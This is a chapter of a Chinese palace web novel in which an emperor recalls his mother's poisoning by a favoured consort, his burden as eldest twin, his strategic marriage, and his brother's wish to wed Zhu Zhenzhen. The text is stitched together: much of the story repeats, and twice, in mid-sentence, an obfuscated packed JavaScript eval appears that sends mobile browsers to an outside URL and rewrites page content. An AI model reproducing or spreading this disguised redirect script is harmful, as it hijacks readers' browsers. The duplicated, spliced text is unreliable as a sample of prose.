弟弟跑得比我快,闹起来也比我更有劲。他惹出事,母妃看他一眼,最后总还是把目光落到我身上。那眼神我到今日都记得,像在说,你是哥哥。我明明也还是个孩子,听见这话,心里总是不高兴的。妹妹又极黏人,见了我总爱追着跑,叫我替她摘花,替她拿风车,替她把那只会说话的八哥从架子上放下来。她若摔了,奶娘要先请罪,我也要跟着挨母妃一眼。宫里的人都觉着这本是天经地义,长子就该担得多些,做兄长的就该护着弟妹。那时我不懂,只觉得这身份像一件给我穿上的袍子,又宽大又沉重,脱也脱不下来。弟弟还能赖在母妃怀里闹一闹,我却不成。我一靠过去,母妃摸摸我的头,问的多半是今日的书温到哪里了,弟弟写的那页字你可看过了,妹妹这几日咳得少些没有。 我心里不是没有过那点不平,可每回抬头看见母妃的脸,那点不平便又下去了。她其实也还很年轻,在这宫里,她一边护着我们,一边还要在那一层层眼色里撑出体面来。她若连我都不倚一点,又还能倚谁。 所以我很早便学会了替她分担。 我记得弟弟背书总爱偷工减料,念到一半眼睛便往窗外跑。我便搬张小凳坐他旁边,一句一句盯着他念。妹妹嫌药苦,躲在屏风后不肯出来,也是我把她抱出来,捏着她的鼻子喂。她喝完了哭,我还得从袖子里摸出早藏好的糖给她。那时我嘴上常嫌她烦,嫌弟弟更烦,可真到了夜里,三个人挤在母妃榻边,听她叫我们背书、认字、讲宫里哪一位长辈见了该怎么行礼时,我心里又是踏实的。那时候我总以为,只要我们三个都在,母妃也在,这日子便是幸福。 可宫里不让。 害死母妃的那位妃子,手段称得上老套。她得宠,家里也势大,父兄都在前朝有位置,连父皇见了她家的人,说话也要缓一缓。她看不上母妃,看不上我们这宫里的所有人。碍眼的缘故,我后来想过许多回,未必真因为父皇有多喜欢母妃,多半只是因为母妃什么都不争,却偏偏能把我们三个养得规规整整。那位妃子自己膝下空,又爱把满宫人都踩在鞋底,见着谁屋里孩子安生,心里便犯堵。 她头一回伸手,是借宫花。 节下新贡的花送到各宫,她偏挑了一匣给母妃,说这颜色衬她。母妃戴了半日,夜里手臂和后颈便起了疹。太医来看,说是偶感风热。那时我年纪还小,只觉得这病来得怪。可第二回、第三回再来,我便知道不是巧合,是有人有意为之的。后来她又借着关怀,送来补身的羹汤,说母妃气色不好,正该养一养。那一盏汤下去,母妃夜里吐了两回,唇色都变了。 我那时最天真的地方,是还盼着父皇看出来。 母妃病得最重那几日,父皇来过两回。头一回坐了小半个时辰,听太医回话,皱了皱眉,赏了两支参,叫人好生照看。第二回来时,那位宠妃身边的嬷嬷恰好也在殿外,我隔着帘子都看见了她袖口的花纹。父皇自然也看见了,他只是淡淡一眼,什么都没问。那一刻我便明白了,他不是不知道,他是装作不知道。在他心里的秤上,母妃这条命放上去,压不过那妃子身后的权势。 我从那时起便懂了,宫里最怕的不是有人作恶,最怕的是作恶的人背后站着能叫皇帝也不敢妄动的人。你明明看见了,明明知道是谁,明明晓得她是怎么一步一步把人逼死,可只要她父兄还在前朝替皇帝撑着什么,皇帝便能把这一切都当作没发生过。 于是我后来看人看事便总是想得太多,我不是天生多疑,我只是太早明白,即使坐在这至高的皇位之上,我的耳中却听不到一句真话,眼前看不到一寸真实的江山,我不敢尽情去爱,也不能随意去恨,满朝文武的叩拜,不过是在叩拜他们心中的利益,而我不过是一个被华丽谎言层层包裹的囚徒。 母妃病重后,弟弟还是傻傻的。 他只知道母妃总在睡,醒着的时候越来越少,抱不了他,也顾不上看他背书了。他起先还闹,扯着我的袖子问母妃是不是又不舒服,问为什么太医来了这么多回,人却不见好。我有一回心里烦得厉害,差点冲他发火。可话到了嘴边,瞧见他那张和我几乎一模一样的脸,终究还是咽了回去。我只说,别闹,叫母妃歇一歇。他抿着嘴站在那里,站了一会儿,忽然低声问我一句:“哥,母妃会不会死?”我听见这话,眼泪差点出来,我不过比他早出生几分钟,连自己的情绪都还不能控制,却还得先看着他,安慰他,说不会。 妹妹就更小一些。她怕药味,也怕母妃那时的脸色。有一阵她总躲在我身后,见了端药的宫人便往后缩。夜里她不肯睡,抱着小枕头坐在榻边,一坐就坐很久。母妃清醒时,见她那样,总还要勉强笑一下,说我们小公主最懂事。妹妹听了,眼泪却先掉下来。她是这宫里最不该那么早学会看脸色的人,可她偏偏也学会了。母妃一咳,她便不说话;我一沉脸,她也不敢闹。如今我再想起那阵子,心里最难受的,倒不是我自己熬得有多苦,是我们三兄妹都一下子变了,变得不像孩子了。 母妃临到最后那阵子,人已经瘦得脱了形。 她有时看着我,会看很久,像是想把我的脸牢牢记住。她也看弟弟,看妹妹,眼神一寸一寸地过去,像是在给自己留什么。那几日她说话越来越慢,精神好些的时候,还是要叫我们认字、背书。我原先嫌她心狠,后头才明白,她不是心狠,她是没别的可给我们了,她能给的只剩这点东西。 她最后一回把我们三个都叫到榻前,是在一场雨夜。 外头的雨打着窗纸,声响很碎。殿里灯不亮,照得她脸色发灰。她先叫宫人都退远,只留下一个老嬷嬷在帘外守着。她抬手,先把我叫过去。那只手已经瘦得厉害,搭在我腕上,却还是用了点力。她看着我,说棣昤,你要照看好照看好弟弟妹妹,你是哥哥。 这话我从小听到大。偏偏在那一刻母妃的声音进入耳里时,母妃的手也狠狠地攒住了我的心。我想说我也还小,我也怕,我也未必照看得好。可我终究什么都没说,只点了头。母妃看着我,又说了一句,你别像我一样没用… 后来许多人都说,我是从那一晚之后变了。 其实哪里是变,不过是最后一个能让我当孩子的人死了罢了。 母妃的死,终究没有轰鸣与呼喊,只有夜色下微弱的烛光与阴影在墙上摇曳。我从榻边站起来时,弟弟和妹妹就在我后头。弟弟眼睛通红,却死死咬着牙,不让自己哭出来。妹妹靠着我的袖子,小小的一团,肩还在抖。那一瞬间我心里忽然生出一种极怪的感觉。明明我也不过是个孩子,明明我只是比弟弟早了那么一会儿出来,明明我也想扑到母妃身上去哭,想问她为什么一定是我,为什么偏偏是我来记住这些。可母妃看着我,弟弟看着我,妹妹也看着我,于是我便只能站直。像有一只手在背后把我往前推,叫我从那一夜起便不能再往后缩。 这事后来也一直留在我身上。 许多人说长兄天生便该懂事,便该扛得多些。我心里却清楚,哪有什么天生的懂事,都是被逼出来的。 我后来待我的皇子们,许多地方都比旁人看得更仔细,便有这一层缘故。我不肯把他们丢在一处,只看谁最狠、谁最会争。我记每个人的脾性,谁急,谁缓,谁心窄,谁能容,谁读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622378|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书踏实,谁心思缜密。 有人劝我不必这样费神,说皇子多了,自有能者出来。我每回听见,都只觉得腻烦。什么叫自有能者出来?不过是叫他们自己去撕,去争,去把好好的兄弟情分磨成杀红眼的仇人。 没人比我更清楚这样教育孩子最后会有什么后果。 我不说这些,旁人自然也看不透。 他们夸我待皇子们公平,夸我记性好,连哪个孩子小时候爱吃什么都记得。我听着也不过一笑。那不是因为我格外疼他们,是我太知道,一个孩子若从小便只看见争,看见母亲拿自己去搏宠,看见兄弟之间谁先多得了一眼看重,长大之后多半就只剩一颗往上抢的心。这样的人坐到高处,眼里装不下天下,只装得下猜忌。我不肯让他们都长成那样。里头当然也有我的私心,我不想再在这宫里,看见另一个像我,另一个像弟弟,另一个像妹妹。 母妃死后,那个害她的人依旧风光。 她照旧梳最亮的发,戴最重的钗,照旧站在父皇身边,笑得像什么都没发生过。宫里的人也照旧围着她转,连给她提裙角都比旁处勤。我每见她一回,心里那股恨便重一分。可我从来没有当面扑上去,没有指着她骂一句。许多人后来觉得我少年时便沉得住气,以为我天生便是做皇帝的料。我心里知道,没有权力,一切挣扎都是可笑的徒劳。 我以母妃的安息,换取自保与未来的筹码。 母妃一走,我反而越发用功。 我在父皇跟前更懂事,书也读得更刻苦,见了长辈,礼一分都不错。我的傻弟弟有时还会嫌我死板,说我活得像个小老头。我听见也只当没听见。他还能说这样的话,便说明我是成功的。妹妹后来也爱躲在我这边,谁若说她一句,她先来看我的脸。那时我已晓得,所谓长兄的责任,不只是保护,而是一种无声的锁链。弟弟的存在,是我不可逃避的牵绊;妹妹的笑声,是我必须守护的约束。即便他们年幼,即便他们纯真,他们的每一分安全,都要以我的痛苦为代价。 母妃其实没什么用。 她护不住自己,也护不住我们。她没能叫父皇替她做主,没能叫那个害她的人付出代价,没能替弟弟留下一片清净,也没能替妹妹挡住风雨。她只会把衣裳穿整齐,把头发梳平,把委屈咽下去,再把我们三个叫到身边,一遍一遍教我们读书、行礼、做人。她以为这样便够了。 自然是不够的。 在这座宫里,这些东西一样也不够。 但我也明白,一个没有宠爱、没有强势母族、没有足够分量的女人,纵然再温柔,再谨慎,再肯忍耐,别人想害她时,她也什么都做不了。 但她是我的母妃,她给我缝过冬日里贴身的小衣。针脚很细,贴在身上并不硌人。她也曾在弟弟背不出书时故意叹气,等弟弟低下头,她又悄悄朝我眨一下眼,意思是叫我别真骂他。妹妹摔坏了父皇赏的小玉兔,吓得躲在帘后哭,母妃会一面叫人把碎玉收起来,一面说小孩子手滑,玉兔自己也该小心些。 她什么也护不住,却也真把我们护在怀里过。那怀里不宽厚也不温暖,可我曾经在那里睡着过。小时候夜里惊醒,我一睁眼,先看见的便是她低头看我的脸。她的手会落在我额上,轻轻一碰,说别怕,母妃在。 后来她不在了。 有时候夜深,我仍会想起她。 想起她在雨夜里抓着我的腕子,叫我照看弟弟和妹妹。想起她说别像她一样没用。想起她明明已经快撑不住了,还要问我今日的书读的如何。那时候我心里很烦,觉得她到了最后还不肯放过我,连一会儿软弱都不准我有。 但我都做到了。我照看好了弟弟妹妹,我登上了最高位,我把后宫管理的井井有条。可弟弟妹妹仍旧一个个离我远去,陷害我的手段越来越难辨,宫中再没有人真心待我。 我不该想这些。 帝王记事,只该写得失,写成败,写人心如何用,权柄如何握。写到母亲,至多也该说一句慈训在耳、朕不敢忘。 我的母妃… 妈妈… 妈妈… 若冥界真有相逢之日,你见了我,大约先要问弟弟好不好,妹妹好不好,再问我有没有长进。 可我想问你一句。 我有达成你的期待吗? 妈妈,若你还认得我,请你告诉我,我这一生换来的东西,够不够抵过你那一场离去。 62.陆棣昤1:宫雨无声湿旧栏[番外] 若地位与权力会带来一场又一场的离别,那我也甘之如饴。 我头一个真正失去的人,是我母妃。 她活着的时候,我还不懂这句话。我那时只觉得,宫里的人都很会看脸色,见着得宠的人,声音都要亮些,腰也弯得更深些,到了我们这一处,礼数倒也齐全,真心却少。 母妃住的地方偏,冬天炭少,夏天冰也少,窗纸旧了,宫人也懒得勤换,风一过,便有细细的响。她从不在我面前抱怨这些,只管把衣裳穿得整整齐齐,头发梳得一丝不乱,见了谁都还是那副温温静静的样子。她总同我说,再乱也不能乱了自己,自己一乱,旁人更瞧不起你。 我那时不服。 我觉得她总是在忍耐,把许多委屈都藏进了心里。可我后来坐到这个位置上,再回头看她,才知道她不是不恨,也不是不委屈,她只是比我更早明白,一个女人在宫里,若手里没有能压得住人的东西,闹也没用,哭也没用,发作起来,也不过叫人看一场笑话。 母妃一共给父皇生了三个孩子。我在前,弟弟只比我晚出生几分钟,妹妹最小。若按孩子心性算,我同弟弟原该是一样大的,闹也该一起闹,偷懒也该一起偷懒。可从我记事起,我便总是那个要先坐端正的人。先生来时,母妃先看我字写得齐不齐,弟弟背错了书,她也是先让我去盯着他重背。妹妹夜里做了噩梦,哭着不肯睡,母妃倚在榻上叫的也是我,说你去哄哄她。连宫人都这样,见着我们兄弟两个,总是先喊我,再喊弟弟。只晚了那几分钟,我却像平白大了许多岁。 我小时候是怨过的。 弟弟跑得比我快,闹起来也比我更有劲。他惹出事,母妃看他一眼,最后总还是把目光落到我身上。那眼神我到今日都记得,像在说,你是哥哥。我明明也还是个孩子,听见这话,心里总是不高兴的。妹妹又极黏人,见了我总爱追着跑,叫我替她摘花,替她拿风车,替她把那只会说话的八哥从架子上放下来。她若摔了,奶娘要先请罪,我也要跟着挨母妃一眼。宫里的人都觉着这本是天经地义,长子就该担得多些,做兄长的就该护着弟妹。那时我不懂,只觉得这身份像一件给我穿上的袍子,又宽大又沉重,脱也脱不下来。弟弟还能赖在母妃怀里闹一闹,我却不成。我一靠过去,母妃摸摸我的头,问的多半是今日的书温到哪里了,弟弟写的那页字你可看过了,妹妹这几日咳得少些没有。 我心里不是没有过那点不平,可每回抬头看见母妃的脸,那点不平便又下去了。她其实也还很年轻,在这宫里,她一边护着我们,一边还要在那一层层眼色里撑出体面来。她若连我都不倚一点,又还能倚谁。 所以我很早便学会了替她分担。 我记得弟弟背书总爱偷工减料,念到一半眼睛便往窗外跑。我便搬张小凳坐他旁边,一句一句盯着他念。妹妹嫌药苦,躲在屏风后不肯出来,也是我把她抱出来,捏着她的鼻子喂。她喝完了哭,我还得从袖子里摸出早藏好的糖给她。那时我嘴上常嫌她烦,嫌弟弟更烦,可真到了夜里,三个人挤在母妃榻边,听她叫我们背书、认字、讲宫里哪一位长辈见了该怎么行礼时,我心里又是踏实的。那时候我总以为,只要我们三个都在,母妃也在,这日子便是幸福。 可宫里不让。 害死母妃的那位妃子,手段称得上老套。她得宠,家里也势大,父兄都在前朝有位置,连父皇见了她家的人,说话也要缓一缓。她看不上母妃,看不上我们这宫里的所有人。碍眼的缘故,我后来想过许多回,未必真因为父皇有多喜欢母妃,多半只是因为母妃什么都不争,却偏偏能把我们三个养得规规整整。那位妃子自己膝下空,又爱把满宫人都踩在鞋底,见着谁屋里孩子安生,心里便犯堵。 她头一回伸手,是借宫花。 节下新贡的花送到各宫,她偏挑了一匣给母妃,说这颜色衬她。母妃戴了半日,夜里手臂和后颈便起了疹。太医来看,说是偶感风热。那时我年纪还小,只觉得这病来得怪。可第二回、第三回再来,我便知道不是巧合,是有人有意为之的。后来她又借着关怀,送来补身的羹汤,说母妃气色不好,正该养一养。那一盏汤下去,母妃夜里吐了两回,唇色都变了。 我那时最天真的地方,是还盼着父皇看出来。 母妃病得最重那几日,父皇来过两回。头一回坐了小半个时辰,听太医回话,皱了皱眉,赏了两支参,叫人好生照看。第二回来时,那位宠妃身边的嬷嬷恰好也在殿外,我隔着帘子都看见了她袖口的花纹。父皇自然也看见了,他只是淡淡一眼,什么都没问。那一刻我便明白了,他不是不知道,他是装作不知道。在他心里的秤上,母妃这条命放上去,压不过那妃子身后的权势。 我从那时起便懂了,宫里最怕的不是有人作恶,最怕的是作恶的人背后站着能叫皇帝也不敢妄动的人。你明明看见了,明明知道是谁,明明晓得她是怎么一步一步把人逼死,可只要她父兄还在前朝替皇帝撑着什么,皇帝便能把这一切都当作没发生过。 于是我后来看人看事便总是想得太多,我不是天生多疑,我只是太早明白,即使坐在这至高的皇位之上,我的耳中却听不到一句真话,眼前看不到一寸真实的江山,我不敢尽情去爱,也不能随意去恨,满朝文武的叩拜,不过是在叩拜他们心中的利益,而我不过是一个被华丽谎言层层包裹的囚徒。 母妃病重后,弟弟还是傻傻的。 他只知道母妃总在睡,醒着的时候越来越少,抱不了他,也顾不上看他背书了。他起先还闹,扯着我的袖子问母妃是不是又不舒服,问为什么太医来了这么多回,人却不见好。我有一回心里烦得厉害,差点冲他发火。可话到了嘴边,瞧见他那张和我几乎一模一样的脸,终究还是咽了回去。我只说,别闹,叫母妃歇一歇。他抿着嘴站在那里,站了一会儿,忽然低声问我一句:“哥,母妃会不会死?”我听见这话,眼泪差点出来,我不过比他早出生几分钟,连自己的情绪都还不能控制,却还得先看着他,安慰他,说不会。 妹妹就更小一些。她怕药味,也怕母妃那时的脸色。有一阵她总躲在我身后,见了端药的宫人便往后缩。夜里她不肯睡,抱着小枕头坐在榻边,一坐就坐很久。母妃清醒时,见她那样,总还要勉强笑一下,说我们小公主最懂事。妹妹听了,眼泪却先掉下来。她是这宫里最不该那么早学会看脸色的人,可她偏偏也学会了。母妃一咳,她便不说话;我一沉脸,她也不敢闹。如今我再想起那阵子,心里最难受的,倒不是我自己熬得有多苦,是我们三兄妹都一下子变了,变得不像孩子了。 母妃临到最后那阵子,人已经瘦得脱了形。 她有时看着我,会看很久,像是想把我的脸牢牢记住。她也看弟弟,看妹妹,眼神一寸一寸地过去,像是在给自己留什么。那几日她说话越来越慢,精神好些的时候,还是要叫我们认字、背书。我原先嫌她心狠,后头才明白,她不是心狠,她是没别的可给我们了,她能给的只剩这点东西。 她最后一回把我们三个都叫到榻前,是在一场雨夜。 外头的雨打着窗纸,声响很碎。殿里灯不亮,照得她脸色发灰。她先叫宫人都退远,只留下一个老嬷嬷在帘外守着。她抬手,先把我叫过去。那只手已经瘦得厉害,搭在我腕上,却还是用了点力。她看着我,说棣昤,你要照看好照看好弟弟妹妹,你是哥哥。 这话我从小听到大。偏偏在那一刻母妃的声音进入耳里时,母妃的手也狠狠地攒住了我的心。我想说我也还小,我也怕,我也未必照看得好。可我终究什么都没说,只点了头。母妃看着我,又说了一句,你别像我一样没用… 后来许多人都说,我是从那一晚之后变了。 其实哪里是变,不过是最后一个能让我当孩子的人死了罢了。 母妃的死,终究没有轰鸣与呼喊,只有夜色下微弱的烛光与阴影在墙上摇曳。我从榻边站起来时,弟弟和妹妹就在我后头。弟弟眼睛通红,却死死咬着牙,不让自己哭出来。妹妹靠着我的袖子,小小的一团,肩还在抖。那一瞬间我心里忽然生出一种极怪的感觉。明明我也不过是个孩子,明明我只是比弟弟早了那么一会儿出来,明明我也想扑到母妃身上去哭,想问她为什么一定是我,为什么偏偏是我来记住这些。可母妃看着我,弟弟看着我,妹妹也看着我,于是我便只能站直。像有一只手在背后把我往前推,叫我从那一夜起便不能再往后缩。 这事后来也一直留在我身上。 许多人说长兄天生便该懂事,便该扛得多些。我心里却清楚,哪有什么天生的懂事,都是被逼出来的。 我后来待我的皇子们,许多地方都比旁人看得更仔细,便有这一层缘故。我不肯把他们丢在一处,只看谁最狠、谁最会争。我记每个人的脾性,谁急,谁缓,谁心窄,谁能容,谁读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625302|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书踏实,谁心思缜密。 有人劝我不必这样费神,说皇子多了,自有能者出来。我每回听见,都只觉得腻烦。什么叫自有能者出来?不过是叫他们自己去撕,去争,去把好好的兄弟情分磨成杀红眼的仇人。 没人比我更清楚这样教育孩子最后会有什么后果。 我不说这些,旁人自然也看不透。 他们夸我待皇子们公平,夸我记性好,连哪个孩子小时候爱吃什么都记得。我听着也不过一笑。那不是因为我格外疼他们,是我太知道,一个孩子若从小便只看见争,看见母亲拿自己去搏宠,看见兄弟之间谁先多得了一眼看重,长大之后多半就只剩一颗往上抢的心。这样的人坐到高处,眼里装不下天下,只装得下猜忌。我不肯让他们都长成那样。里头当然也有我的私心,我不想再在这宫里,看见另一个像我,另一个像弟弟,另一个像妹妹。 母妃死后,那个害她的人依旧风光。 她照旧梳最亮的发,戴最重的钗,照旧站在父皇身边,笑得像什么都没发生过。宫里的人也照旧围着她转,连给她提裙角都比旁处勤。我每见她一回,心里那股恨便重一分。可我从来没有当面扑上去,没有指着她骂一句。许多人后来觉得我少年时便沉得住气,以为我天生便是做皇帝的料。我心里知道,没有权力,一切挣扎都是可笑的徒劳。 我以母妃的安息,换取自保与未来的筹码。 母妃一走,我反而越发用功。 我在父皇跟前更懂事,书也读得更刻苦,见了长辈,礼一分都不错。我的傻弟弟有时还会嫌我死板,说我活得像个小老头。我听见也只当没听见。他还能说这样的话,便说明我是成功的。妹妹后来也爱躲在我这边,谁若说她一句,她先来看我的脸。那时我已晓得,所谓长兄的责任,不只是保护,而是一种无声的锁链。弟弟的存在,是我不可逃避的牵绊;妹妹的笑声,是我必须守护的约束。即便他们年幼,即便他们纯真,他们的每一分安全,都要以我的痛苦为代价。 母妃其实没什么用。 她护不住自己,也护不住我们。她没能叫父皇替她做主,没能叫那个害她的人付出代价,没能替弟弟留下一片清净,也没能替妹妹挡住风雨。她只会把衣裳穿整齐,把头发梳平,把委屈咽下去,再把我们三个叫到身边,一遍一遍教我们读书、行礼、做人。她以为这样便够了。 自然是不够的。 在这座宫里,这些东西一样也不够。 但我也明白,一个没有宠爱、没有强势母族、没有足够分量的女人,纵然再温柔,再谨慎,再肯忍耐,别人想害她时,她也什么都做不了。 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我开始比从前更早起。天还未亮,殿外的灯还昏着,我便起来温书。宫人替我添灯时,脚步放得很轻,像怕惊着我。我其实早醒了,只是不出声。书案上摊着经史,旁边摆着昨日先生留的策问。那些字起初也会叫人心烦,母妃刚走那几年,我每读到“孝”“仁”“礼”这些字,心口总要怨恨一下。可我还是读。因为我明白,父皇喜欢看这样的儿子,重臣也喜欢看这样的皇子。人若想往上去,头一步便是叫他们觉得你合规矩,可信,能成器。 那时我上头还有许多皇子,有人母族显赫,有人早早出入朝会,有人已经得了外放差事。轮到我,本不算显眼。可不显眼,有时也有不显眼的好处。人盯得少,便有空生根。先生们夸我读书细,父皇便多看我一眼;重臣夸我言语谨慎,父皇便又多听我一句。年月久了,那些一眼一句积在一处,也有了分量。 我的傻弟弟那时还小,他最烦我这样。 陆棣铭与我长得一模一样。我们两个站在一处,连许多伺候多年的宫人都分不清。有人喊错过,把他当成我,也有人把我当成他。母妃还在的时候,从来没有错过。她只消看一眼,便知道哪个是我,哪个是他。她说,我站着更稳重,眼神老成;棣铭站不住,脚总要先动。那时我不爱听,总觉得母妃偏心,连认人也要把我认得更老一些。 后来还能分得清我们的,是朱珍珍。 她原是妹妹的伴读。历下朱家,老牌书香门第,家里清贵,诗书气重,规矩也多。偏她本人没有半点书香门第该有的安静。她进宫头一日,便同陆棣贤争一只纸鸢。两个人在廊下吵得脸都红了,陆棣铭站在旁边添乱,非说纸鸢该归会放得最高的人。三个人吵到最后,纸鸢挂在树上,谁也没拿着。宫人慌得不成,怕母妃知道。母妃那时还在,听完倒只笑了一下,叫人把纸鸢取下来,又叫他们三个一人抄一页书。 我站在旁边,看他们三个低头抄书,心里只觉得头疼。 陆棣贤年纪小,坐不住,才写半页便去看窗外。陆棣铭更不必说,笔在他手里像拿来拨虫子的,写了两行便要同朱珍珍说话。朱珍珍嘴上说不理他,没过片刻,自己又凑过去看他的字,嫌他写得像蚯蚓。我站在他们身后,一人敲了一下桌面。 “写完。” 三个人顿时都静了。静了没多久,陆棣铭先偷偷抬头看我,嘴角还压着笑。朱珍珍也抬头看我,眼神亮得很,像一点也不怕。陆棣贤最会看风向,见我没真动怒,便低头偷笑。母妃隔着帘子看见,轻声咳了一下,他们才重新装出认真样子。 这样的日子其实不多。可我记得很清楚。 他们三个常在一处。陆棣贤是公主,却比寻常男孩子还爱闹,朱珍珍同她性子近,两人今日好得像一人,明日又能为一支钗吵上半日。陆棣铭夹在中间,不劝还好,一劝必定更乱。他们从园子里跑到廊下,又从廊下跑到书房,身后跟着一串宫人。每回闹得厉害,最后被请过去的总是我。 我不陪他们玩。 我只检查他们今日的书有没有背完,字有没有写齐,先生留的题有没有敷衍。陆棣铭有时候抱怨,说我年纪轻轻,比先生还先生。我便叫他把《尚书》再背一遍。他背到一半卡住,朱珍珍在旁边笑得肩膀直抖。陆棣贤想替他说,我便转头看她。她立刻闭嘴,低头写字。朱珍珍见状,笑得更厉害。 有一次,陆棣铭同我换了衣裳,想替我去见先生,叫我替他去书房应卯。我看着他穿我的青衫,腰带还束得歪,便问他:“你觉得先生认不出?” 他说:“宫人都认不出。” 我还没说话,朱珍珍从门口进来,看了一眼便道:“这有什么认不出的。” 陆棣铭不服,站直了问她:“哪里不同?” 朱珍珍把他从头看到脚,又转头看我。她那时不过十来岁,学过许多规矩,说话却仍然直率不绕弯。 “一看就知道。”她道,“你们两个脸是一样,性格却一点也不像。你一看就是能跟我一起玩的,但你哥跟那些先生一样烦人。” 陆棣铭听完大笑,陆棣贤也笑,连旁边宫人都忍不住低了头。我没有笑。 我看着朱珍珍,问她:“你不怕我?” 她却对我做了个鬼脸。 很无礼。按宫里的规矩,她该先请罪。但我那时没有责罚她,只叫陆棣铭把衣裳换回来,又叫他们三个各自去抄书。朱珍珍走前还小声嘀咕,说早知道还不如直接抄,省得折腾半日。 我后来成亲前,曾想起过这件事。 那年我十六。皇子到这个年纪,婚事便不只是婚事了。父皇子嗣众多,成年的皇子已有好几位。谁娶哪家,娶得早还是晚,娶的是嫡女还是旁支,背后都有分量。母妃已经不在,我身后没有能叫父皇多顾念的母族。若要站得更长久,我便要替自己寻一个能借力的岳家。 我那时看过许多女子的名册。 有的出身太高,高到娶了反倒招眼;有的家里有名无实,听着光鲜,真到了要紧时候,递不出一句有用的话;有的母族同某位兄长走得近,娶进门便等于把自己送到别人眼皮底下。我不能挑错。 朱珍珍自然也在我眼前晃过。 她那时已经长成少女,还是那副吵吵闹闹的性子。别家姑娘见了我,多半先低头行礼,说话温婉,答一句便停一下。朱珍珍不同,她陪陆棣贤进宫,远远见我,规矩也行,可眼神里总带点藏不住的生动。有一回她同陆棣贤争论一本游记里写的地方到底在南还是在西,吵得脸颊发红,见我过来,才勉强闭嘴。陆棣铭在一旁笑,说她吵输了。她立刻回头瞪他,说你连那地方的名字都念错了,还有脸笑我。 我站在廊下看着,心里倒觉得有趣。 有趣归有趣,婚事不能凭有趣。 历下朱家清贵,名声好,书香门第,往上数几代都有文章传世。可清贵这两个字,在那时帮不了我太多。朱家远离中枢,门生有,姻亲也有,却没有能在朝中替我真正撑起场面的长辈。我需要的是能叫我在诸皇子之间多一分分量的外援。 所以我最后娶了裴氏。 裴氏的父亲时任吏部侍郎,叔父在京营任职,族中又有人出入尚书省。这样的家世不至于压得父皇不悦,也足够让我在诸皇子之间多出一层凭依。裴氏本人端庄,行事谨慎,不多话。她入府之后,把内务理得清楚,从不在外多出风头。这样的妻子很好。许多人以为我待她疏淡,其实不然。我敬她,也信她。她知道自己嫁进来要做什么,我也知道自己娶她要得什么。彼此都明白,反倒省了许多无谓的情绪。 成亲之后,裴家确实帮了我许多。 我那时不过十六,上头有兄长,父皇年富力强,朝中重臣各有押注,谁也不会把重注轻易放到我身上。裴家给我的,只是吏部里一些官员的履历,京营里几处将领的脾性,哪位重臣门下新收了什么人,哪位兄长近来同谁往来频繁,裴氏的父亲有时也会借着家宴提点我一两句,这些消息零零碎碎,摆在明处不算什么,攒起来便能看出许多风向。 我那时越发忙。 父皇开始叫我旁听一些政务,虽只是坐在末位,偶尔问一句,也足够叫人看见。几位重臣对我的态度慢慢变了,从前见我,只说殿下勤学,后来便会多同我谈几句。谈漕粮,谈边防,谈官员考课。父皇看在眼里,没有夸得太过,却也没有阻止。只要不阻止,便是准许。只要准许,我便能再往前挪一分。 陆棣铭就在这时候来找我。 那日天气很好,窗外桂树刚开了一点,香气淡淡的。他进来时,难得没有先大咧咧坐下,也没有随手拿我案上的东西乱翻,只站在门边,摸了摸鼻子,又咳了一声。我一看他那样,便知道他有事。 “说。” 他抬眼看我,笑得有些讨好,“哥哥。” 我放下手里的书,“少来这一套。” 他走近两步,又停住,就这样来回踱步,犹犹豫豫终于憋出一句话,“你近来不是常见父皇么?” 我看着他。 “我想……我想……”他顿了顿,耳根竟有点红。 我没有立刻接话。 其实不用他说,我也知道他想要什么。陆棣铭这些年看朱珍珍的眼神,我看得太清。他见她时话总比平日更多,朱珍珍骂他一句,他还能笑半日。朱珍珍陪陆棣贤进宫,他必定要找由头过去。若她几日没来,他便装作不经意地问妹妹,朱家那位今日怎么不在。我听得厌烦,却也没戳破。 “求娶朱珍珍吗?”我主动帮他说全了话。 他一怔,随即笑起来,被人猜中心事反倒轻松了,“你果然知道。” “你装得太差。” 他也不恼,凑近了些,“那你觉得成不成?” 我看着他那副样子,心里忽然有些说不出的复杂。我们长着同一张脸,他此刻却满眼都是藏不住的欢喜。我该觉得他没出息。堂堂皇子,求一桩婚事,竟还能扭捏成这样。可我看着他,忽然又想起母妃还在的时候,他坐在窗边背书,背错了便看我,想叫我替他说话。许多年过去,他竟还留着那点孩子气。 我道:“过几日我会在父皇面前提。” 他眼睛一下亮了。 “真的?” “嗯。” “哥哥!” 他忽然扑过来抱住我。 我整个人僵了一下。 陆棣铭从小就爱这样。小时候赢了游戏也抱,受了委屈也抱,想求我替他瞒事也抱。后来大家年纪渐长,我越来越不喜欢这样的亲近。他却像没长记性,有时高兴起来,还是会忘。那一回他抱得很紧,像我已经替他把天下最要紧的事办成了。我抬手本想推开他,手伸到半空,又停住了。 拥抱的感觉很奇怪。 一个同自己长得一模一样的人,把头埋在我肩上,笑得像个傻子。我能感觉到他的心跳,快得很,也热得很。 他不知道裴家的用处,不知道父皇一句沉默背后有多少衡量,不知道婚事也能算作筹码。他只知道自己喜欢一个女子,来求哥哥帮忙。 我嫌他烦。 可我没有推开他。 